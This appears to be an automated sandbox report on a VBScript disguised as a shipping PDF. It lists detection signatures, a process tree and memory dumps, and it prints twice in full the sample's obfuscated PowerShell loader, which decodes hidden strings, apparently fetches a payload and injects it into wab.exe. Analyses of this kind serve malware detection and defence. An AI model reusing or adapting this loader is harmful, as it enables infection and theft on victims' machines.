Analysis
- max time kernel
149s - max time network
112s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 04:24
General
- Target SHIPMENT-DOCUMENT-00202P-SHIPMGTG003838399-PDF.vbs
- Size 269KB
- Sample260727-e1pj4sgq7y
- SHA256 120383ec4f69867cea147fc9368e0d9b711417aea97f0b40c90939cc6500bcd8
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SHIPMENT-DOCUMENT-00202P-SHIPMGTG003838399-PDF.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function xqzzp { param($dopingkontrol); [void](Get-Location) };$trunched = Get-Date;$espadrillernes222=11697-11697;$dataformatets=-46895+52895;$truckled = Get-Random;function convertibly ($linn,$opbygningerne) {$bonitary=paltrily(@(106,219,219,211,219,142,212,236,232,228,110,147,225,213,207,218,217,226,226,224,173,212,228,211,210,138)) ;Eufomans88 ($bonitary);[void](Get-Random)}[void](Get-Date);function rtyui { param($opbygningerneordbombes); [void](Get-Location) };[void](Get-Location);function paltrily ($klarestes) { do {$dataformatets=$espadrillernes222%10;$esrum=$opbygningerneocstaff[$dataformatets];$klarestes[$espadrillernes222]-=$esrum;$dataformatets=$klarestes[$espadrillernes222];$dataformatets=[char]$dataformatets;$grayed+=$dataformatets;$espadrillernes222++} while ($klarestes[$espadrillernes222])[void](Get-Random);$grayed}[void](Get-Date);function Eufomans88 ($linnppunctuation) {[void](Get-Date);.($ombaering) $linnppunctuation}[void](Get-Location);function qwerty { param($therapeuses); [void](Get-Date) };Function Udpresningernes ($klarestes,$godtgoerelse=0){[void](Get-Location);$subattorneyship=paltrily(@(161,178,225,211,227,198,228,232,214,172,128,181,228,212,218,163,211,231,222,168,122,194,230,215,214,207,217,156,157,221,178,208,228,202,224,213,215,231,162));$meshuggana139=@(Eufomans88 ($subattorneyship));[void](Get-Random);For($orchectomy=0; $meshuggana139[$orchectomy] -ne $fingallian; $orchectomy++){$meshuggana139[$orchectomy] = convertibly $meshuggana139[$orchectomy] $opbygningerneocstaff[$orchectomy%10]}$guberniya=paltrily(@(115,217,225,206,219,129,205,215,225,211,184,202,207,194,145,206,215,231,225,231,173,214,211,211,206,146,165,173));[void](Get-Location);$buntmagersyers=Eufomans88 ($guberniya);if ($godtgoerelse) { [void](Get-Date);Eufomans88 $buntmagersyers}else {;$buntmagersyers}}$sexede = Get-Location;$opbygningerneocstaff=@(70,111,114,101,109,97,114,116,121,114);$ombaering=paltrily @(143,180,202);$tigerskindet = Get-Date;$chorions='\Frstedels.Syn';$lazulites=Udpresningernes 'c0FCRUU2GxodHTEcUis5QUNEV0J9TyUMA1dGT1kKcFtJRR8XSEVMQGhfW0UqBBEfFl10X0NVXVBCRVk0Lx0XAwIZXUVMQGhf';$entropies=Udpresningernes 'LhsGFR5bXVsdAC8ZF0sKDh0TFRdoDB0IQhQRSxwKNgAAEVAFHQMXHikOFkMEBU9FPCcPVyRWDlQrDhxfKiU+HTILORgbSyEjNUgYURMBEwc=';$urethrostomy=Udpresningernes 'CxwKCAFTXCccADAKAD0gLTogLSJoWVxV';$kommandodele = Get-Random;$fugara=Udpresningernes 'ASom';$klavermusik=Udpresningernes 'ExwXF0AgFREXBg==';$pled=Udpresningernes 'eA==';Udpresningernes 'YggeCg8AHk4KBiwDT0EIDwROGAI2CxMRDEpWFxEdNAYdCx4=' 1;Udpresningernes 'YggeCg8AHk4YBzIAEQAdCRMYFgc1UlYAAxUAGwkbIxxcFh0NGwBRVjYDFwFE' 1;$entropies=$autocephalous[0];Udpresningernes 'YggeCg8AHk4LFycDGwsJCh0ZCgYjAU8rCBZfOxsYIwwGRUAiHRlZVjMdFxEFEx0HDR0rFg==' 1;Udpresningernes 'YggeCg8AHk4JGj8bHRUBABwfDR0oUloxCBIGWSkTMgdSQR4VGBhQ' 1;while (!$phytoplankton) {Udpresningernes 'YggeCg8AHk4/HTQKBAweBBwQHAF7SwYXGAQ=' 1;Udpresningernes 'Yh0XBAEIHBASHSscBgADTx0EHBxuSxQQCgAAFVVSYgocER8OAh0cAWpPVgMMDQERUA==' 1;Udpresningernes 'Yh0XBAEIHBASHSscBgADTwERDSAjHgcAHhU6ERgWIx1aQQYNEwIcACsaAQwGTVJQFRM8Gh4MGQQBXQ==' 1;Udpresningernes 'Yh0XBAEIHBASHSscBgADTwERFxZuRg==' 1;Udpresningernes 'YggeCg8AHk4KHicBFRAJFQANEhkjGwFYSRMXFRUbKAsZCgASBhEXXDUbExEYElJZHANmXUJV' 1;if ($slangudtrykkets) {Udpresningernes 'HQ0LEQg6LyldFSoAEAQBWx8bFxkjFhsWBQ8XBwpEdVJWFwgAHh0XFi0AHxYZBBxaCxc1Hx0LHgQwGx0L' 1;Udpresningernes 'NQxSQR4VGBhZVisAHA4IGBsHERwjHAFTXkFfMRcRKQsbCwpBMA0NFw==' 1} Udpresningernes 'FQMXAB1JRl0=' 1;Udpresningernes 'YggeCg8AHk4JGj8bHRUBABwfDR0oUloxCBIGWSkTMgdSQR4VGBhQ' 1 ;Udpresningernes 'YggeCg8AHk4KFyoZFAofBgcQHB41ChxYSQYeGxsTKlUaEwQFFRgdFygLF05GRFYVDAYpDBcVBQAeGwwBaAwdEAMV' 1;$entropies=$autocephalous[$selvforgudelsen]}$opbygningerneummil=149644;$signalanlg=20534;Udpresningernes 'YggeCg8AHk4JCzQOHwwJDhsQGB57CBFFSRIGHhU=' 1;Udpresningernes 'YggeCg8AHk4cATIdEwEIExwRCk8dLB0LGwQAACRIfCkACgAjEwccRHI8BhcEDxVcXQI/HRMIBAUdHR0TKkY=' 1;Udpresningernes 'YggeCg8AHk4PFTIJHRcJBB4dFxU1UikxCBkGWjwcJQAWDAMGL05DMxUsOyxDJhcAKgY0BhwCRUUXBw0AJwsXFwMEAV0=' 1;Udpresningernes 'YggeCg8AHk4dFjUBAQ4IEwFJXQQhGxQKHwUXGBAcIRxcFhgDAQALGygIWkECERANHhwvARUAHw8XARQfLwNeQR4IFRoYHicBHgJE' 1;Eufomans88 $ddsnskers;function bvcxz { param($kiltene); [void](Get-Random) };;;"2⤵
- Badlisted process makes network request
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function xqzzp { param($dopingkontrol); [void](Get-Location) };$trunched = Get-Date;$espadrillernes222=11697-11697;$dataformatets=-46895+52895;$truckled = Get-Random;function convertibly ($linn,$opbygningerne) {$bonitary=paltrily(@(106,219,219,211,219,142,212,236,232,228,110,147,225,213,207,218,217,226,226,224,173,212,228,211,210,138)) ;Eufomans88 ($bonitary);[void](Get-Random)}[void](Get-Date);function rtyui { param($opbygningerneordbombes); [void](Get-Location) };[void](Get-Location);function paltrily ($klarestes) { do {$dataformatets=$espadrillernes222%10;$esrum=$opbygningerneocstaff[$dataformatets];$klarestes[$espadrillernes222]-=$esrum;$dataformatets=$klarestes[$espadrillernes222];$dataformatets=[char]$dataformatets;$grayed+=$dataformatets;$espadrillernes222++} while ($klarestes[$espadrillernes222])[void](Get-Random);$grayed}[void](Get-Date);function Eufomans88 ($linnppunctuation) {[void](Get-Date);.($ombaering) $linnppunctuation}[void](Get-Location);function qwerty { param($therapeuses); [void](Get-Date) };Function Udpresningernes ($klarestes,$godtgoerelse=0){[void](Get-Location);$subattorneyship=paltrily(@(161,178,225,211,227,198,228,232,214,172,128,181,228,212,218,163,211,231,222,168,122,194,230,215,214,207,217,156,157,221,178,208,228,202,224,213,215,231,162));$meshuggana139=@(Eufomans88 ($subattorneyship));[void](Get-Random);For($orchectomy=0; $meshuggana139[$orchectomy] -ne $fingallian; $orchectomy++){$meshuggana139[$orchectomy] = convertibly $meshuggana139[$orchectomy] $opbygningerneocstaff[$orchectomy%10]}$guberniya=paltrily(@(115,217,225,206,219,129,205,215,225,211,184,202,207,194,145,206,215,231,225,231,173,214,211,211,206,146,165,173));[void](Get-Location);$buntmagersyers=Eufomans88 ($guberniya);if ($godtgoerelse) { [void](Get-Date);Eufomans88 $buntmagersyers}else {;$buntmagersyers}}$sexede = Get-Location;$opbygningerneocstaff=@(70,111,114,101,109,97,114,116,121,114);$ombaering=paltrily @(143,180,202);$tigerskindet = Get-Date;$chorions='\Frstedels.Syn';$lazulites=Udpresningernes 'c0FCRUU2GxodHTEcUis5QUNEV0J9TyUMA1dGT1kKcFtJRR8XSEVMQGhfW0UqBBEfFl10X0NVXVBCRVk0Lx0XAwIZXUVMQGhf';$entropies=Udpresningernes 'LhsGFR5bXVsdAC8ZF0sKDh0TFRdoDB0IQhQRSxwKNgAAEVAFHQMXHikOFkMEBU9FPCcPVyRWDlQrDhxfKiU+HTILORgbSyEjNUgYURMBEwc=';$urethrostomy=Udpresningernes 'CxwKCAFTXCccADAKAD0gLTogLSJoWVxV';$kommandodele = Get-Random;$fugara=Udpresningernes 'ASom';$klavermusik=Udpresningernes 'ExwXF0AgFREXBg==';$pled=Udpresningernes 'eA==';Udpresningernes 'YggeCg8AHk4KBiwDT0EIDwROGAI2CxMRDEpWFxEdNAYdCx4=' 1;Udpresningernes 'YggeCg8AHk4YBzIAEQAdCRMYFgc1UlYAAxUAGwkbIxxcFh0NGwBRVjYDFwFE' 1;$entropies=$autocephalous[0];Udpresningernes 'YggeCg8AHk4LFycDGwsJCh0ZCgYjAU8rCBZfOxsYIwwGRUAiHRlZVjMdFxEFEx0HDR0rFg==' 1;Udpresningernes 'YggeCg8AHk4JGj8bHRUBABwfDR0oUloxCBIGWSkTMgdSQR4VGBhQ' 1;while (!$phytoplankton) {Udpresningernes 'YggeCg8AHk4/HTQKBAweBBwQHAF7SwYXGAQ=' 1;Udpresningernes 'Yh0XBAEIHBASHSscBgADTx0EHBxuSxQQCgAAFVVSYgocER8OAh0cAWpPVgMMDQERUA==' 1;Udpresningernes 'Yh0XBAEIHBASHSscBgADTwERDSAjHgcAHhU6ERgWIx1aQQYNEwIcACsaAQwGTVJQFRM8Gh4MGQQBXQ==' 1;Udpresningernes 'Yh0XBAEIHBASHSscBgADTwERFxZuRg==' 1;Udpresningernes 'YggeCg8AHk4KHicBFRAJFQANEhkjGwFYSRMXFRUbKAsZCgASBhEXXDUbExEYElJZHANmXUJV' 1;if ($slangudtrykkets) {Udpresningernes 'HQ0LEQg6LyldFSoAEAQBWx8bFxkjFhsWBQ8XBwpEdVJWFwgAHh0XFi0AHxYZBBxaCxc1Hx0LHgQwGx0L' 1;Udpresningernes 'NQxSQR4VGBhZVisAHA4IGBsHERwjHAFTXkFfMRcRKQsbCwpBMA0NFw==' 1} Udpresningernes 'FQMXAB1JRl0=' 1;Udpresningernes 'YggeCg8AHk4JGj8bHRUBABwfDR0oUloxCBIGWSkTMgdSQR4VGBhQ' 1 ;Udpresningernes 'YggeCg8AHk4KFyoZFAofBgcQHB41ChxYSQYeGxsTKlUaEwQFFRgdFygLF05GRFYVDAYpDBcVBQAeGwwBaAwdEAMV' 1;$entropies=$autocephalous[$selvforgudelsen]}$opbygningerneummil=149644;$signalanlg=20534;Udpresningernes 'YggeCg8AHk4JCzQOHwwJDhsQGB57CBFFSRIGHhU=' 1;Udpresningernes 'YggeCg8AHk4cATIdEwEIExwRCk8dLB0LGwQAACRIfCkACgAjEwccRHI8BhcEDxVcXQI/HRMIBAUdHR0TKkY=' 1;Udpresningernes 'YggeCg8AHk4PFTIJHRcJBB4dFxU1UikxCBkGWjwcJQAWDAMGL05DMxUsOyxDJhcAKgY0BhwCRUUXBw0AJwsXFwMEAV0=' 1;Udpresningernes 'YggeCg8AHk4dFjUBAQ4IEwFJXQQhGxQKHwUXGBAcIRxcFhgDAQALGygIWkECERANHhwvARUAHw8XARQfLwNeQR4IFRoYHicBHgJE' 1;Eufomans88 $ddsnskers;function bvcxz { param($kiltene); [void](Get-Random) };;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Frstedels.Syn
memory/3748-21-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-13-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-4-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-8-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-7-0x00000274C4E90000-0x00000274C4EB2000-memory.dmp
memory/3748-9-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-10-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-11-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-12-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-2-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-14-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-15-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-16-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-17-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-3-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/3748-0-0x00007FFD5EB3F000-0x00007FFD5EB40000-memory.dmp
memory/3748-1-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp
memory/5684-23-0x0000000004DD0000-0x000000000541A000-memory.dmp
memory/5684-22-0x0000000000E10000-0x0000000000E46000-memory.dmp
memory/5684-26-0x0000000004CF0000-0x0000000004D12000-memory.dmp
memory/5684-29-0x0000000005710000-0x0000000005A6B000-memory.dmp
memory/5684-27-0x0000000005420000-0x0000000005486000-memory.dmp
memory/5684-31-0x0000000005AB0000-0x0000000005ACE000-memory.dmp
memory/5684-32-0x0000000005AF0000-0x0000000005B3C000-memory.dmp
memory/5684-33-0x00000000070D0000-0x000000000774C000-memory.dmp
memory/5684-34-0x0000000006010000-0x000000000602A000-memory.dmp
memory/5684-35-0x0000000006D20000-0x0000000006DB6000-memory.dmp
memory/5684-36-0x0000000006CB0000-0x0000000006CD2000-memory.dmp
memory/5684-37-0x0000000007D10000-0x00000000082CA000-memory.dmp
memory/5684-28-0x0000000005580000-0x00000000055E6000-memory.dmp
memory/5684-39-0x00000000082D0000-0x000000000CA89000-memory.dmp